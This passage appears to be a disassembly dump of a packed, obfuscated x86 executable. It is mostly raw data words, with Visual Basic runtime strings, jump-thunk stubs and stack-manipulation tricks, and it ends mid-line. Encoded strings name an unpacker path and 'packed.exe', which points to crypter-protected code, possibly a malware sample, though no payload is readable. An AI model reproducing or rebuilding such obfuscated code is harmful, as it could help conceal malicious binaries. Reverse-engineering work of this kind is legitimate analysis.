0EA830000h, 24148704h, 510A685Ch, 4890000h dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 57241489h dd 4DF492BFh, 0FB895306h, 5F5BD889h, 24148B54h, 4C481h dd 0B9510000h, 8, 189D101h, 81240C8Bh, 4C4h, 2434FF00h dd 4C4835Ah, 582434FFh, 4C481h, 0B6E90000h, 1BFFFA7Bh dd 8372A7D0h, 248B8D2h, 0C503064Eh, 0F1BCE0FFh, 0F31E1F5Ch dd 588B2600h, 0C73D23A5h, 0D202706Dh, 2FD0356h, 6E7E2E1Ch dd 4EBD6A6Ch, 3969250Dh, 8D8D4551h, 64E037Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 85C35343h, 0BF0FCBB7h dd 58D89C1h, 29064814h, 4811BDB5h, 2585C706h, 0D4064830h dd 8100006Fh, 27C784CEh, 0D985C777h, 6482Ah, 8B000000h dd 4814E185h, 4DB5FF06h, 6A064818h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0F86C357h dd 13D99D09h, 95FF0648h, 6480E71h, 0FF006AF5h, 48092D95h dd 0EBC08B06h, 35AF540Eh, 8C9911BBh, 0F374129Bh, 0E96F84B8h dd 17Dh, 4FFE5D60h, 6FC2016Ch, 0B4CAD1D7h, 5B7E41EFh, 5D9752E4h dd 0FCA3FB6Dh, 9EB99244h, 0BCD792A5h, 93B9E495h, 9DB2CB00h dd 9CACA3F4h, 9EB9FCh, 0AFC945D2h, 0FC00EE73h, 9CBA9755h dd 0A4E56D59h, 0FEACFFB2h, 5657F647h, 0CCD4C4h, 8F7DB5F6h dd 539549F7h, 0C9BCFA97h, 915CCD45h, 0ACE56CA1h, 10000h dd 43h dup(0) dd 36D1F800h, 0C20DA437h, 727EA6D3h, 1079E936h, 6680000h dd 0E9064E07h, 0FFFB43A2h, 4E081E68h, 4398E906h, 0B468FFFBh dd 0E9064E09h, 0FFFB438Eh, 4E0ABF68h, 4384E906h, 68FFFBh dd 0E9064E0Ch, 0FFFB437Ah, 4E0CD468h, 4370E906h, 7368FFFBh dd 0E9064E0Dh, 0FFFB4366h, 4E0DD668h, 435CE906h, 368FFFBh dd 0E9064E0Fh, 0FFFB4352h, 4E0F7068h, 4348E906h, 0C68FFFBh dd 0E9064E10h, 0FFFB433Eh, 4E10CE68h, 4334E906h, 8168FFFBh dd 0E9064E11h, 0FFFB432Ah, 4E12C368h, 4320E906h, 0F268FFFBh dd 0E9064E13h, 0FFFB4316h, 4109DBDCh, 0CB874347h, 531FCBCDh dd 0DA966E35h, 0A32FFDBCh, 0E8A94936h, 9212BC3Ch, 199C3AB6h dd 9B018FC3h, 234B135Fh, 0D47AD7A4h, 0BE773273h, 76921F81h dd 4674D612h, 376D7164h, 0C9DFFDF3h, 0CFA96931h, 0A3D7E283h dd 0C703850Bh, 3571F68Eh, 3E8F526Dh, 6D5021A6h, 0E3A573D2h dd 0BFD76927h, 0D26D6B08h, 0B93C8E73h, 4E35BB05h, 73D26D9Dh dd 0CED4BADAh, 0A47A440Ah, 2BB53BE1h, 1EAC82A2h, 9E38D7ECh dd 4146h, 65907100h, 0B3F39D31h, 0EE861E57h, 7F009156h dd 5BE5759Ah, 62B55512h, 4E108F52h, 72865B00h, 0D1C173D2h dd 531AC2CFh, 1D29BBF5h, 769E38C4h, 7E8869DEh, 0D36D73D2h dd 0D5984C4Dh, 0E7FEh, 0A081B900h, 4FD75E15h, 189C02BEh dd 0B53882C8h, 39B77329h, 80CE1E9Bh, 3ADB9C02h, 2F9DF4E2h dd 0DEFCF25Ch, 9B4C0CC8h, 759A5D28h, 4B07C3D9h, 0E7AF574Dh dd 492BB53Bh, 0E9576203h, 9A5D917Eh, 0EA697475h, 613C2C4Ch dd 9F379173h, 0C01C9907h, 0AC4DFA8Ah, 49759A1Ch, 0E7A015F7h dd 8F5225E3h, 35FCFC4Eh, 893E560Ah, 891C9148h, 0D5BBD36Dh dd 8D5C70D4h, 8120DCEEh, 0D38DC055h, 6DDAF4B5h, 7598308Ch dd 0A875D769h, 22A4CF9h, 0D51E5F1Dh, 7100000Dh, 0FC9AD636h dd 626C6CA4h, 0EAF4E420h, 517F73B5h, 0C9C4F450h, 9F4D4CACh dd 11F1B5D3h, 0AE763F59h, 3AFEA422h, 0C97E16B6h, 73D47828h dd 816BACCDh, 54B971Fh, 0EDAC32BBh, 8F15B33Fh, 3B7D234Bh dd 96DFE1EFh, 8FFB4ADAh, 0C19EE121h, 1ED6CD53h, 0EE470E50h dd 9D316590h, 52623C2Ah, 89C7998Fh, 0D27279D2h, 17F5B473h dd 0AE7E3B59h, 0CFE16F20h, 0F2CC0C04h, 38C45650h, 0D9FC9Eh dd 81BB0000h, 84D891Fh, 0D1470086h, 0ED277C23h, 0D5F0DDEFh dd 8FF6940Ch, 2E38B55h, 0D0C2B9CEh, 0E686E8A9h, 0F46C49h dd 5E7C32BBh, 0BBE58953h, 1EA02EFEh, 8120E757h, 70759AABh dd 0E4E2EE2Ah, 0A0747ABEh, 33D33908h, 0DE094305h, 9A1FF899h dd 2B7F1D75h, 7DDFE1EFh, 0D286B178h, 3D7C22BAh, 96DFE1EFh dd 5226B5D1h, 0A46188Fh, 0FBBF606Bh, 0A1983D48h, 0CB630BD5h dd 72E83E7Ah, 165F22E4h, 1CED9351h, 0C4E87289h, 4D0DDFDAh dd 27864643h, 22A9192h, 0BD8736A4h, 6900000Ch, 0D4F2FE2Eh dd 5A4474CCh, 0C2CC8C58h, 49571BDDh, 0A1DC9C48h, 0A76524C4h dd 39E9AD2Bh, 0B66E17B1h, 0C2069C3Ah, 0D1963E8Eh, 73D47740h dd 7713C4A5h, 69ED20Ah, 8DC31998h, 8E14BA33h, 8131064Ah dd 23FFA7E9h, 9A7FD7A4h, 25A83275h, 7AEDE3B9h, 759A7F9Dh dd 5604E678h, 0D0A126BEh, 35759A7Fh, 0E6BC22ABh, 0BCC7AE22h dd 8373F498h, 0A68F524Eh, 782E7004h, 1B2F3EBCh, 3ABADDC1h dd 0EEA015F7h, 0D2456439h, 53B2373h, 38F35B67h, 95F19Eh dd 0ADB0000h, 0EFEAF9A6h, 40D82122h, 0C6F2B09Dh, 813700B5h dd 2C47E8A0h, 0D39A55D7h, 597D212Ch, 52FCF8EEh, 9E495D8Fh dd 73D2ECF1h, 0CA408004h, 33F5AA70h, 0CAEC3D51h, 0C84E064Eh dd 5D3AADC1h, 0B873D274h, 27FFAF26h, 594147C6h, 0E364CC8Bh dd 73D2B712h, 158B55F7h, 0BB054B8Fh, 0B7987532h, 0FFDF73D2h dd 0D0723C1h, 28AD9E38h, 48000000h, 9D316590h, 5254302Ah dd 386FED8Fh, 0B91BC1C4h, 81CFA933h, 0D26401DAh, 28064673h dd 38D2689Ah, 7C29Eh, 58F50000h, 866h, 3165906Fh, 6AB6F39Dh dd 0E1FBF12Bh, 31B64E07h, 8F687A60h, 40800785h, 0BED6B00Ah dd 0E73D7826h, 64F6D7E9h, 0D8AB5CB8h, 0D9CFCF86h, 0DAA46021h dd 56920896h, 0CE729D18h, 72C321A6h, 98228926h, 2A8D5CF4h dd 0A41D643Fh, 0AFF599DCh, 2379676Bh, 10CE9E7h, 7C8E395Dh dd 0A18F52F2h, 8E1BBE1Fh, 854B0460h, 0B2728h, 0C0C300h dd 9E5A4E48h, 16F2B4D2h, 0AD673C5Ah, 26E6A32Dh, 9E7E3FAAh dd 781C913h, 810F439Fh, 0F690D804h, 44645490h, 76DABB2Ch dd 723F73D4h, 7EFDAEBDh, 0ACD7759Ah, 424CE488h, 25FFA45Ch dd 24B15B7h, 687A8445h, 771FA18Fh, 220D0E96h, 737A3727h dd 9651E9B9h, 73D452F9h, 52AC4DFAh, 0F74973D4h, 1DFA6D39h dd 0F873D452h, 2AD18466h, 0BB537B1Fh, 7B71D1D5h, 0E2BB6C61h dd 0C7892656h, 594F5165h, 0EDB3DD9Dh, 0B7C2A329h, 6F1AEB83h dd 9DD41CCh, 0FFA83DD3h, 0F052DC9Fh, 688A6BDCh, 0DD6F759Ah dd 2D470098h, 2A8F686Bh, 58673C64h, 5A499A82h, 724C02ECh dd 0D5F9437Bh, 5B11D5CBh, 0CD199B01h, 0C058F088h, 0D4ED7607h dd 25F27573h, 0C073D4EDh, 0A72EB07Eh, 35A56127h, 9D31F5ABh dd 0B3C4794Ch, 31A4E1C5h, 6CEB867Dh, 0D2FDF3D4h, 0B9C0772Dh dd 1E34C8Eh, 1DA8FA6Dh, 3B85091Ch, 2E61255Ah, 0CEEF6D82h dd 0A1Ch, 5D1DCFC8h, 27AB6F33h, 0AF23FFB9h, 36BA7A21h dd 0BF33E9A8h, 4856502h, 860E88C0h, 0D88165Ah, 0A7FD9BD7h dd 375F6F63h, 0D475E3B0h, 0B27B0673h, 64BFA081h, 0A52BC071h dd 1A3E4930h, 0BA14F572h, 2C318F68h, 394B158h, 0B8DCBE69h dd 4474B0D6h, 79A3E2ACh, 0F0346A74h, 6C103BFAh, 18C29F48h dd 4D1F8926h, 0E5216729h, 71B5EBF5h, 0D78FBA7Bh, 607A70B0h dd 18FA9B4Ch, 4D1F759Ah, 0BC1CCBE3h, 0BB8F681Bh, 7A70D4D5h dd 1B5C3DAAh, 27B973D4h, 0D9B63145h, 3C73D41Bh, 29B32BA2h dd 8B851B85h, 0D41B3FDCh, 7D3CDA73h, 3D9F21AFh, 1B0AFD0h dd 9A643AA1h, 16D2C8D6h, 4E8A107Eh, 22F37400h, 0C773D446h dd 1CD29B65h, 0D446EAA7h, 81B5C073h, 0D3BD55EDh, 0A07176D6h dd 0A373D446h, 0D4465724h, 6228B273h, 0A97CFDD8h, 0F41AB1B2h dd 268304C1h, 9C2E8926h, 34F096F8h, 40841A84h, 3C606B0Ah dd 0B6470098h, 53759A26h, 942CC489h, 1B52960Ah, 6822F5AAh dd 660ED08Fh, 257819CEh, 0CC7B73D4h, 73D4252Fh, 20BA70CAh dd 934F1ADh, 0F4864155h, 29891C33h, 4FBF3697h, 19D7022Eh dd 8DB54h, 0DC0C7700h, 6AAEF29Ch, 0E23E7866h, 79BBE0EEh dd 0F22A5771h, 42A2C3FEh, 0CBD58547h, 35531FCBh, 0BA249470h dd 10A820E4h, 732ECF78h, 0AECB73D4h, 56117769h, 0E71C59A4h dd 0E2E84A89h, 747ABEE4h, 0B9C92F2h, 0B0C9D295h, 0F03A31EFh dd 61E67E16h, 759A4590h, 2EE2EB75h, 924E4856h, 0F3B4B6DBh dd 0C1E9870h, 86000000h, 0B429E18h, 48D582Ah, 0C66F0000h dd 5C000B1Ah, 5627A038h, 0B3759A7Fh, 34CCA429h, 0FDF0346Ah dd 526F5E08h, 19E9738Fh, 0DFA1EF56h, 96CEF95Ch, 3E5630ECh dd 11980D89h, 4258465Ah, 0FFF6C886h, 0B67F7DCFh, 7CB4EB8Bh dd 0F04DFA92h, 2D5C5C07h, 0F95FB93h, 831987CBh, 0F73DDA8Dh dd 6D8A0DAh, 8B98D9A4h, 7CF2D768h, 80771h, 20E0A300h, 0BE7A2EA8h dd 36129432h, 4D871CBAh, 0C606830Dh, 7E9E1F8Ah, 0E7E1E933h dd 616F63BFh, 0D6F0F824h, 644474B0h, 73FA9B4Ch, 921F73D4h dd 0D511775Dh, 6CB8F9E7h, 0C67A856Ch, 7C9239AEh, 0E9738F68h dd 3DC5DBC5h, 13E06765h, 0F673D47Ch, 0A0288A54h, 36A46026h dd 7001C65Eh, 9573D47Ch, 0D0FB82CBh, 86341490h, 0B5325A24h dd 892678D8h, 8D13BB05h, 0D5BBD317h, 8D7F76CEh, 35599D03h dd 784D2A9Dh, 16A8759Ah, 15D2E337h, 4A036BAEh, 518BF694h dd 2881E9F4h, 6B72502h, 768h, 9418304h, 93DF1B8Fh, 1B57B3F5h dd 0E2EE267Dh, 6B67A5E4h, 0D0D1317Eh, 5A5A4474h, 0C1C4C28Eh dd 5349571Bh, 0EB83DB97h, 0D4729F7Ch, 0F63F7A73h, 9D316590h dd 687B712Ah, 7A12AC8Fh, 64A8E14h, 88C60298h, 16BEE2EDh dd 9BD20E88h, 519C4205h, 1BB9891Ch, 4E14387h, 22E1E53h dd 5A00DC3h, 0A1000007h, 2CAA26E6h, 923CBC74h, 1A843410h dd 810F4385h, 1994C400h, 0EF3D7C9Ch, 61A1E5E3h, 0FE266F69h dd 0ACED4F2h, 994E6646h, 73D472F8h, 775B9C1Dh, 0F9E7D511h dd 0CF6967A3h, 0AEF0A19Fh, 29B538E4h, 2DCA7D73h, 0C8759A7Fh dd 4C249476h, 7F6233B4h, 2587759Ah, 0C51F2BB0h, 2A749870h dd 0D2168C74h, 6A60C29Ch, 0FCF2366Ch, 764D00E2h, 11h, 2B15801h dd 98300000h, 9A7F4E2Fh, 5C11AB75h, 0D511779Bh, 4FF31EE7h dd 7AEFA027h, 75D48F68h, 53539792h, 19EF96F7h, 0C9930B42h dd 0A8CF44A5h, 0ED6BA8C1h, 0F4AA34E8h, 1BEABA30h, 0C3D99B34h dd 0C7702607h, 616FABFFh, 0D6F8FD5Fh, 0B87971ABh, 22366A8Dh dd 9246DF7Ah, 25049C30h, 0EDDABA04h, 580D403Dh, 89264864h dd 0FB933B85h, 2E7FB12Ah, 9A0AD8B9h, 42A33D75h, 6E4FBEF4h dd 0C3C2448Eh, 8F0F4658h, 59DDD19h, 0F0F63C24h, 0C88DBD2Ah dd 5604C0C6h, 0DD934948h, 65092D58h, 52510CE2h, 0F0770F8Fh dd 73D24123h, 0FFA664C6h, 0AC3EB025h, 603DE2C1h, 67560404h dd 5D8h, 99D13374h, 636FABFFh, 0EBE72365h, 727EB6EDh, 0FBF75554h dd 4041A1CEh, 0CACAD484h, 7134521Eh, 0E3B927ABh, 7B13AB27h dd 0D4702FCCh, 66AFCA73h, 0C1D51177h, 480DC9DFh, 56920896h dd 0B08EDE18h, 5B57117h, 70C56C9Eh, 10C698h, 5FAE0000h dd 6A2B1F89h, 89AE277Eh, 12B58h, 11776F00h, 33308D5h, 15DB0228h dd 56B58h, 4C9C0700h, 0DA1E820Ch, 528E0896h, 0E92B701Eh dd 62BAE7E1h, 0D232736Eh, 5B4575D7h, 0C5C38F5Bh, 4A5404C0h dd 80D89054h, 709E7FE8h, 3E7B73D4h, 0D51177F9h, 67A3F9E7h dd 0A19FCF69h, 14448006h, 70C5738Fh, 2BD998h, 2BC30000h dd 9A77DFBCh, 2DA03A75h, 881F8108h, 0E6D42C74h, 56747AC4h dd 0A015F731h, 0B311h, 1F812400h, 0A8074E96h, 0A8h, 3165907Fh dd 7A712A9Dh, 444A8F68h, 0D0CE8745h, 9AA5400Eh, 0FD19CEE6h dd 10891C42h, 2E94EF4Eh, 844A022Eh, 4CF29h, 0E8387B00h dd 66A2E6E0h, 0FE2A6C6Ah, 75CFD4F2h, 8E5E5B45h, 36D6D7C2h dd 0BFD9914Bh, 39A72BF7h, 0AE28A07Ch, 2CBC3CF8h, 6F32C384h dd 0AAD773D4h, 31659065h, 69ADF39Dh, 7C145963h, 522196CBh dd 0DDF14B8Fh, 0A515F1B3h, 0D23128E2h, 7BBFE573h, 6C4E9F77h dd 43871B1Bh, 2F52B30Dh, 0AD773EC3h, 0BA339D2Fh, 1EB69214h dd 0E3EA3670h, 45E822Bh, 840A0000h, 37B0C41Ch, 73D29566h dd 83B43983h, 9D316590h, 289FB1F3h, 759A7F4Bh, 3CB21CAEh dd 92552BA2h, 8F687A39h, 80145AE4h, 7A9E7FE8h, 0E17B73D4h dd 46FA05ECh, 425DB92Eh, 0ADB0891Ch, 519E1550h, 9372DC1Dh dd 22E909Ah, 0DF7C674h, 0B9000004h, 24A22EFEh, 0AA34A47Ch dd 12BC3CE8h, 99074B8Dh, 118CCC18h, 0D7357494h, 69B9FD9Bh dd 0E63E6761h, 72B6ECEAh, 81466E7Eh, 73D46FF0h, 90A39415h dd 2A9D3165h, 8F687A4Dh, 0E67E16A8h, 7AF8994Eh, 431D73D4h dd 0DA1E840Ah, 56920896h, 0CE729D18h, 60A0F8A6h, 8B3C506Ah dd 73D47AEAh, 6038BD0Fh, 203979C8h, 0E3A60E7Fh, 0E3CF3DEAh dd 9C2E8926h, 683E60F8h, 0D99C2EACh, 66E1EFB5h, 759AE389h dd 727EB8C3h, 0F0BE7DFBh, 0C2CC8C6Eh, 0D35218DCh, 995877A8h dd 3C24795Ah, 0FFFD276Eh, 0FC6B03EDh, 8F52F482h, 0F9208D5Fh dd 1D046088h, 35A1E5Fh, 8DF60000h, 29711F53h, 0BDE7E1E9h dd 386F6961h, 0ABD6F0F8h, 234C7971h, 4A06C6C3h, 0D098484Ch dd 0A515CFB6h, 29A1653Bh, 0A14EF991h, 4473D46Eh, 1177F025h dd 7977B3E9h, 0CD83475Bh, 39B711F3h, 89C1059Bh, 15B9DDE8h dd 526D5052h, 8B23BD8Fh, 0BEA8AFBAh, 1FA12FE9h, 0F9AAB63Eh dd 28A66623h, 0B86FDF96h, 73D25FE7h, 1786B8A0h, 9CD21289h dd 0E4068BC2h, 4E9E38E5h, 53h, 0B2659069h, 3276EFB2h, 8B238D41h dd 0D9478305h, 0B0480DDDh, 52E21737h, 0A228B28Fh, 1CD4CCD2h dd 0F233EC59h, 0A9FE73D2h, 2663616Fh, 48D6E8E6h, 5D89652h dd 72E710A9h, 0BA8227BFh, 83CBDF84h, 7CE31FADh, 0D4499E38h dd 33000000h, 0F3F9296Dh, 7753E4E9h, 0F9E7D511h, 606E6CB8h dd 77D6FE3Ah, 3215EAE3h, 8C68FEEh, 98D0148Ah, 9A9E8427h dd 0EB2F7575h, 67A3F9E7h, 6330B74Fh, 86759A9Eh, 0E24C9C18h dd 477233EBh, 0BDE37B13h, 0E795A0E7h, 9297DF57h, 0AD20BA30h dd 52522EF8h, 31B9038Fh, 7D114570h, 0BB8A04E5h, 1E428386h dd 42CAEE57h, 912B891Ch, 361693FDh, 4F9D1CBAh, 2A3EBDEEh dd 0D6E75502h, 218h, 5911F3B4h, 23AF6B3Fh, 0AB27E3A5h dd 32BE762Dh, 0BB371594h, 81610Eh, 8A0A94C4h, 3174125Eh dd 0A3F9E7EBh, 3B536B67h, 0D46DEF8Ch, 0A66F0A73h, 0A3EE0A77h dd 8F697379h, 0D1DFC5C3h, 541AC2CFh, 7FAC4D0Ah, 5F59759Ah dd 3DF3CD83h, 0F989C1A3h, 0BA30F097h, 9088AD20h, 59D3165h dd 9A7FB542h, 108E5075h, 0A406B494h, 7EEC5B31h, 0DB8F5262h dd 9A9C6D01h, 6C5496D8h, 7328E6EFh, 73D2FB9Eh, 2DBFF1D9h dd 9E384D11h, 0E4BBh, 11777A00h, 7FCBA81Fh, 9C2E759Ah dd 931EBC32h, 2D42EBCAh, 533D8B70h, 9A1BA61Dh, 0B4EA759Ah dd 485E7870h, 0FFA6E88Ch, 3BADE5A6h, 0F052A01Fh, 596401FDh dd 990F9125h, 0F4FA3A61h, 0FB4208EAh, 0BCD0C49Eh, 8B11F3FAh dd 0CF91DF0Bh, 0AD79EE86h, 668F52BDh, 0A27819CEh, 88D73D2h dd 4ECC9EDCh, 306217Fh, 66C03949h, 0EDED7F6Fh, 0D88FF904h dd 73D2433Bh, 0AA20CDEh, 97C51F84h, 7FE88035h, 891CE236h dd 0CF6114F5h, 0A7588A5Bh, 862EB02Eh, 0F439918h, 79C40081h dd 22A9ED6h, 0E97B72F8h, 85000000h, 8EC202h, 76105898h dd 0FE98D00Ch, 65636FA9h, 0FDE8E024h, 8B5150B0h, 0DDDD9C7h dd 9A42434Dh, 16D2C8D6h, 0FD6A025Ah, 73D46C1Ch, 8177B8F9h dd 0A2496EA0h, 28AD69EAh, 0A921FBA6h, 3DBD792Fh, 0D511773Ah dd 810E60C1h, 5928C642h, 32CA5A14h, 9AC0E4B5h, 36BF0175h dd 0BA36F2A8h, 0E166D0FBh, 759AC010h, 6A0A6BF5h, 6065AE6Ch dd 0A1264E28h, 8F6813D8h, 41E40ADBh, 0EBB9A42Ch, 1C52ECE2h dd 0ECEC287Eh, 5EA53514h, 326C7F1Bh, 498D13BBh, 29277B25h dd 0D4F8D1BEh, 0C8AA3473h, 533DC985h, 4C1F44Ch, 0A308833Eh dd 4ADDD30Bh, 0BED89054h, 20AE2CE8h, 0C101857Bh, 4BFE4F67h dd 0DDC9A572h, 491DD184h, 48564779h, 0B2DC9153h, 26A028ECh dd 8736A460h, 10h, 6F177911h, 0AC6734B3h, 388243E8h, 0BC8B80B5h dd 9EDC0C77h, 606EAAF0h, 0F3F92362h, 7B71D1D5h, 0C2885C5Dh dd 4907C5C4h, 0DE9C544Bh, 0A42AF6B0h, 28A66226h, 0E789575Bh dd 4C781h, 0EF830000h, 243C8704h, 2434895Ch, 2A7068h, 24348900h dd 363A68h, 24148900h, 3EB26855h, 0D15D7A89h, 97ED81EDh dd 506BE962h, 0B07CCBB8h, 0D1D8F722h, 435C25E8h, 0D1051BB5h dd 12A4D87h, 0EE8958C5h, 148B545Dh, 4C48324h, 4815655h dd 8B389E24h, 0ED815D2Bh, 2B8B389Eh, 5D086A89h db 8Bh, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_54DD7E ; --------------------------------------------------------------------------- db 0BDh dd 0CC061C79h, 0B81ACE01h, 64E1500h, 0E0FFC503h, 1800FB08h dd 450DB4E5h, 6F88EA22h, 11951748h, 3702130h, 5999A56Ch dd 545A10EDh, 544AF111h, 3294975Bh, 0F67218h, 4CA19F1Eh dd 102FDC0Fh, 5A28DCDAh, 7BB40483h, 704FD83Ah, 399E7ADDh dd 35A709B9h, 22A55094h, 2AF37104h, 35AC1CD9h, 1B2F7652h dd 16E78D8Dh, 870F064Eh, 1, 58D89FCh, 6A064814h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0E9B7C356h, 2AFC8F39h, 820FC736h, 5, 5B7890BBh, 858D890Ch dd 0C706480Bh, 48302585h, 668406h, 7E900h, 42EA0000h, 469CB89Bh dd 0D985C76Bh, 6482Ah, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 89BAC357h dd 219D8960h, 8B064820h, 0B52361DAh, 6480999h, 6FDB5FFh dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0E9DD11C3h, 0Fh, 0EAD92CE4h, 6427F937h, 625378E9h dd 0FF8C51DDh, 480E7195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0E6E5847Eh dd 0A1FDD74Ch, 0FF006A93h, 48092D95h, 0EBC08B06h, 99DC4868h dd 9FD76E61h, 0C8933734h, 0CB742A2Ah, 3403FB88h, 0D333920Bh dd 1B52885Ch, 12889C7Ah, 0F68F5333h, 820ABC88h, 3D5F85E2h dd 0D82A268Eh, 292C94C1h, 0D470CF6Eh, 3653EC24h, 0A60C207Eh dd 7117E6FEh, 907E265Ah, 0CC7BE979h, 0F2442EE4h, 9AD5C681h dd 0AF5AA0DAh, 8C9D4E5Bh, 0C887FA5Fh, 0DE41550Eh, 8C545263h dd 6E844h, 97C00000h, 76CA2AE8h, 32E98D8Bh, 0B15F0648h dd 28C781D7h, 0B000005Bh, 16AF68E7h, 8B660000h, 0BD895BC7h dd 6482FD1h, 0BF0F378Bh, 0FC681D3h, 8959E387h, 48273D85h dd 0FBF68106h, 8B5ABDFDh, 481AED85h, 0A8C68106h, 6625FDE2h dd 62B5CA81h, 0C38A3789h, 8902EF83h, 482F558Dh, 8B4F4F06h dd 48091185h, 850F4B06h, 0FFFFFFBCh, 0D099589h, 9E80648h dd 0CB000000h, 0D78B2808h, 0CC8DCC32h, 391A7DBEh, 8B0F5F17h dd 16h, 0FE952h, 185F0000h, 0FC7FA312h, 5C22EBAh, 3A4880Eh dd 0C7815E2Fh, 618Fh, 8BD22BF8h, 48281DB5h, 171C8B06h dd 1F1BD89h, 0C3810648h, 481B81F1h, 27418531h, 0F3810648h dd 75A0DEB2h, 23419D09h, 0C3810648h, 70BC8B84h, 0AE9h dd 2E0ED300h, 686069CEh, 89BC158Ah, 0E081171Ch, 1F7A81B5h dd 1411B589h, 0EA830648h, 4AD2B101h, 81664A4Ah, 815F6ED0h dd 0FF9F30FAh, 11850FFFh, 0F8000000h, 25E9h, 0D93B6C00h dd 0B2D3491Fh, 19A4EEDEh, 0E9CB8B66h, 0FFFFFF89h, 50E5468Eh dd 8B766E5Eh, 6F28FC55h, 9FDA0321h, 9E8E791h, 26000000h dd 0DCB17F0h, 9A75ADB0h, 17F19D89h, 8B5A0648h, 4812AD9Dh dd 0D1C28106h, 2900006Ch, 4814DD85h, 6806h, 0C18B0000h dd 0BD9D035Eh, 8B064815h, 0B6B7323Ch, 5829C781h, 870F77D7h dd 6, 30C1858Bh, 0EF810648h, 0DD9C6D2h, 23918D8Bh, 0F7810648h dd 4E380F60h, 8FFC57FCh, 0BD293204h, 6482FD1h, 0B869EE81h dd 8B661333h, 65C681DFh, 8B1333B8h, 480FDD8Dh, 0C0FE8106h dd 0FFFFF93h, 0FFFFAA85h, 0AE9FFh, 0AC4C0000h, 0BC174B70h dd 90F1CB8Bh, 15CE9h, 0E705C500h, 5C3A4377h, 6E755F6Dh dd 6B636170h, 70007265h, 656B6361h, 78652E64h, 65h, 3Ah dup(0) db 0 a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 94h, 8Ch, 7Ah dd 1C34E955h, 99680000h, 0E9064E1Ch, 0FFFA63D9h, 4E1D8568h dd 63CFE906h, 5D68FFFAh, 0E9064E1Eh, 0FFFA63C5h, 4E1F6968h dd 63BBE906h, 0A868FFFAh, 0E9064E1Fh, 0FFFA63B1h, 4E208D68h dd 63A7E906h, 0E568FFFAh, 0E9064E20h, 0FFFA639Dh, 4E212C68h dd 6393E906h, 6468FFFAh, 0E9064E28h, 0FFFA6389h, 4E291868h dd 637FE906h, 0D168FFFAh, 0E9064E29h, 0FFFA6375h, 4E2AC768h dd 636BE906h, 3368FFFAh, 0E9064E2Bh, 0FFFA6361h, 4E2BF068h dd 6357E906h, 7A68FFFAh, 0E9064E2Ch, 0FFFA634Dh, 4E2D4A68h dd 6343E906h, 0DD68FFFAh, 0E9064E33h, 0FFFA6339h, 4E34DC68h dd 632FE906h, 7168FFFAh, 0E9064E35h, 0FFFA6325h, 34542BCAh dd 0BDDFDA58h, 21435EE1h, 94F4CD75h, 1F7D7CF8h, 1BA79FF4h dd 982E7A06h, 36B3EF8Dh, 0BE455133h, 730AD9BBh, 724D5D1Bh dd 32D56B7Ch, 6CFBFE85h, 28603ED5h, 0B4762433h, 32DD9BCBh dd 8CEB7624h, 0E390971Ch, 0FD8F2C82h, 48E47376h, 0DEDFACABh dd 37006878h, 81AC0295h, 657C6C45h, 74F18B1Ah, 46930475h dd 177C7288h, 0D75DCF4Ch, 6EC4A5D2h, 0B2B3F141h, 2C9E7C6Ch dd 4519B07Fh, 7C6CB303h, 6C00D6D1h, 0DBA992B7h, 356Dh dd 7EB9B600h, 0B8C17C28h, 6A8EC56Ah, 48097AE5h, 0A95D6CC3h dd 911E4F9Bh, 0AA049310h, 7C6CBA1Fh, 0FDFACCBh, 7C6CAA45h dd 0BBED520Ch, 0DBA97940h, 0BE9Ah, 0FE850100h, 72FE8AFBh dd 0F1720E7Fh, 5EF285F2h, 0C0A1DED5h, 0E05AE6Ah, 36FCF462h dd 0BA87624h, 0B3306C0Ch, 19B0C7B4h, 8BF8FD87h, 36FCBCEAh dd 0AFC87624h, 0CE8CB707h, 3A3FC557h, 0F862C4Dh, 6C60AEBFh dd 5F3D7A7Ch, 0F86447Fh, 0B70459BFh, 28CBA782h, 0BC25633Bh dd 0F4B37626h, 0CF6A0677h, 7DFABBC8h, 314E43EFh, 0C864F370h dd 25633B2Ch, 0B37626BCh, 791577F4h, 0BC41FCFDh, 0FA129DB2h dd 19959505h, 951C0000h, 0A2FE9Ah, 942B6705h, 37BFEB89h dd 0A6425E3Ah, 0D5A2C1A3h, 204041EDh, 95F7D274h, 1F7D7CF9h dd 87E5E083h, 0A3E5B9CCh, 317C724Eh, 0F985F4AFh, 670C98F8h dd 0B9630060h, 0B249DC7Eh, 389E951Eh, 6C400F9Ah, 85453E7Ch dd 67F4B3BEh, 1C20D800h, 4CCDCDFBh, 0E3BBCAE6h, 7C6CFCA5h dd 86F77433h, 6CFC6C28h, 0FBB0E77Ch, 9758BF1Ch, 38BB2925h dd 872F4C3Dh, 0C53E16D5h, 56DBA97Ch, 913924BAh, 0A54Dh dd 0FE85D600h, 72FE8AFBh, 4FD0C66Ch, 0C5422350h, 442D30B0h dd 57D48814h, 31BD4F26h, 0C43C9A30h, 0E0762446h, 68244443h dd 0D1BFCCCBh, 0DDB124E6h, 7C6C7050h, 2189EB94h, 8DE17416h dd 82B7111Ah, 1AB6214Eh, 6DF38D9Eh, 0CE662270h, 35727626h dd 3CB8D4B4h, 0FA8B862Eh, 82813CBDh, 44129D9Fh, 18A95BCBh dd 61000000h, 0EC96026Eh, 881F8BE9h, 3A3FF9Dh, 8A36620Eh dd 0E9CED5B7h, 345455D1h, 0B9DBC658h, 234140EDh, 0ABC9CC77h dd 8FC9A538h, 5D7C724Fh, 0EC80188Bh, 7E3F4C5Bh, 0BDBC38D8h dd 2520C3DFh, 0FE85BC47h, 54D06CFBh, 0A2FEFD55h, 16660201h dd 23439B2Dh, 72BB7271h, 5D0C62F5h, 897C6D15h, 83C191EEh dd 0CE7C6D0Ch, 8279AF1Ch, 